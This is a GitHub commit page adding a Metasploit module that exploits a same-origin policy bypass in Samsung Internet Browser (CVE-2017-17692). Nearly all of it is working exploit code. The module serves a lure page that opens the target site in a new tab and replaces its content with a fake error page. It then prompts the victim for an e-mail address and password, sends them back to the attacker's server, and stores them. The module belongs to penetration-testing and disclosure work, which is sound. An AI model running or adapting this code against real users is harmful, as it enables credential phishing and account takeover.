Skip to content

Commit f0df175

Browse files
author
Tod Beardsley
committed
Land @RootUp's Samsung browser SOP module
2 parents 6631ec6 + 917dd8e commit f0df175

File tree

1 file changed

+144
-0
lines changed

1 file changed

+144
-0
lines changed
Lines changed: 144 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,144 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Auxiliary
7+
include Msf::Exploit::Remote::HttpServer
8+
9+
def initialize(info = {})
10+
super(
11+
update_info(
12+
info,
13+
'Name' => 'Samsung Internet Browser SOP Bypass',
14+
'Description' => %q(
15+
This module takes advantage of a Same-Origin Policy (SOP) bypass vulnerability in the
16+
Samsung Internet Browser, a popular mobile browser shipping with Samsung Android devices.
17+
By default, it initiates a redirect to a child tab, and rewrites the innerHTML to gather
18+
credentials via a fake pop-up.
19+
),
20+
'License' => MSF_LICENSE,
21+
'Author' => [
22+
'Dhiraj Mishra', # Original discovery, disclosure
23+
'Tod Beardsley', # Metasploit module
24+
'Jeffrey Martin' # Metasploit module
25+
],
26+
'References' => [
27+
[ 'CVE', '2017-17692' ],
28+
['URL', 'http://fr.0day.today/exploit/description/28434']
29+
],
30+
'DisclosureDate' => 'Nov 08 2017',
31+
'Actions' => [[ 'WebServer' ]],
32+
'PassiveActions' => [ 'WebServer' ],
33+
'DefaultAction' => 'WebServer'
34+
)
35+
)
36+
37+
register_options([
38+
OptString.new('TARGET_URL', [
39+
true,
40+
'The URL to spoof origin from.',
41+
'http://example.com/'
42+
]),
43+
OptString.new('CUSTOM_HTML', [
44+
true,
45+
'HTML to display to the victim.',
46+
'This page has moved. Please <a href="#">click here</a> to redirect your browser.'
47+
])
48+
])
49+
50+
register_advanced_options([
51+
OptString.new('CUSTOM_JS', [
52+
false,
53+
"Custom Javascript to inject as the go() function. Use the variable 'x' to refer to the new tab.",
54+
''
55+
])
56+
])
57+
58+
end
59+
60+
def run
61+
exploit # start http server
62+
end
63+
64+
def evil_javascript
65+
return datastore['CUSTOM_JS'] unless datastore['CUSTOM_JS'].blank?
66+
js = <<-EOS
67+
setTimeout(function(){
68+
x.document.body.innerHTML='<h1>404 Error</h1>'+
69+
'<p>Oops, something went wrong.</p>';
70+
a=x.prompt('E-mail','');
71+
b=x.prompt('Password','');
72+
var cred=JSON.stringify({'user':a,'pass':b});
73+
var xmlhttp = new XMLHttpRequest;
74+
xmlhttp.open('POST', window.location, true);
75+
xmlhttp.send(cred);
76+
}, 3000);
77+
EOS
78+
js
79+
end
80+
81+
def setup
82+
@html = <<-EOS
83+
<html>
84+
<meta charset="UTF-8">
85+
<head>
86+
<script>
87+
function go(){
88+
try {
89+
var x = window.open('#{datastore['TARGET_URL']}');
90+
#{evil_javascript}
91+
} catch(e) { }
92+
}
93+
</script>
94+
</head>
95+
<body onclick="go()">
96+
#{datastore['CUSTOM_HTML']}
97+
</body></html>
98+
EOS
99+
end
100+
101+
def store_cred(username,password)
102+
credential_data = {
103+
origin_type: :import,
104+
module_fullname: self.fullname,
105+
filename: 'msfconsole',
106+
workspace_id: myworkspace_id,
107+
service_name: 'web_service',
108+
realm_value: datastore['TARGET_URL'],
109+
realm_key: Metasploit::Model::Realm::Key::WILDCARD,
110+
private_type: :password,
111+
private_data: password,
112+
username: username
113+
}
114+
create_credential(credential_data)
115+
end
116+
117+
# This assumes the default schema is being used.
118+
# If it's not that, it'll just display the collected POST data.
119+
def collect_data(request)
120+
cred = JSON.parse(request.body)
121+
u = cred['user']
122+
p = cred['pass']
123+
if u.blank? || p.blank?
124+
print_good("#{cli.peerhost}: POST data received from #{datastore['TARGET_URL']}: #{request.body}")
125+
else
126+
print_good("#{cli.peerhost}: Collected credential for '#{datastore['TARGET_URL']}' #{u}:#{p}")
127+
store_cred(u,p)
128+
end
129+
end
130+
131+
def on_request_uri(cli, request)
132+
case request.method.downcase
133+
when 'get' # initial connection
134+
print_status("#{cli.peerhost}: Request '#{request.method} #{request.uri}'")
135+
print_status("#{cli.peerhost}: Attempting to spoof origin for #{datastore['TARGET_URL']}")
136+
send_response(cli, @html)
137+
when 'post' # must have fallen for it
138+
collect_data(request)
139+
else
140+
print_error("#{cli.peerhost}: Unhandled method: #{request.method}")
141+
end
142+
end
143+
144+
end

0 commit comments

Comments
 (0)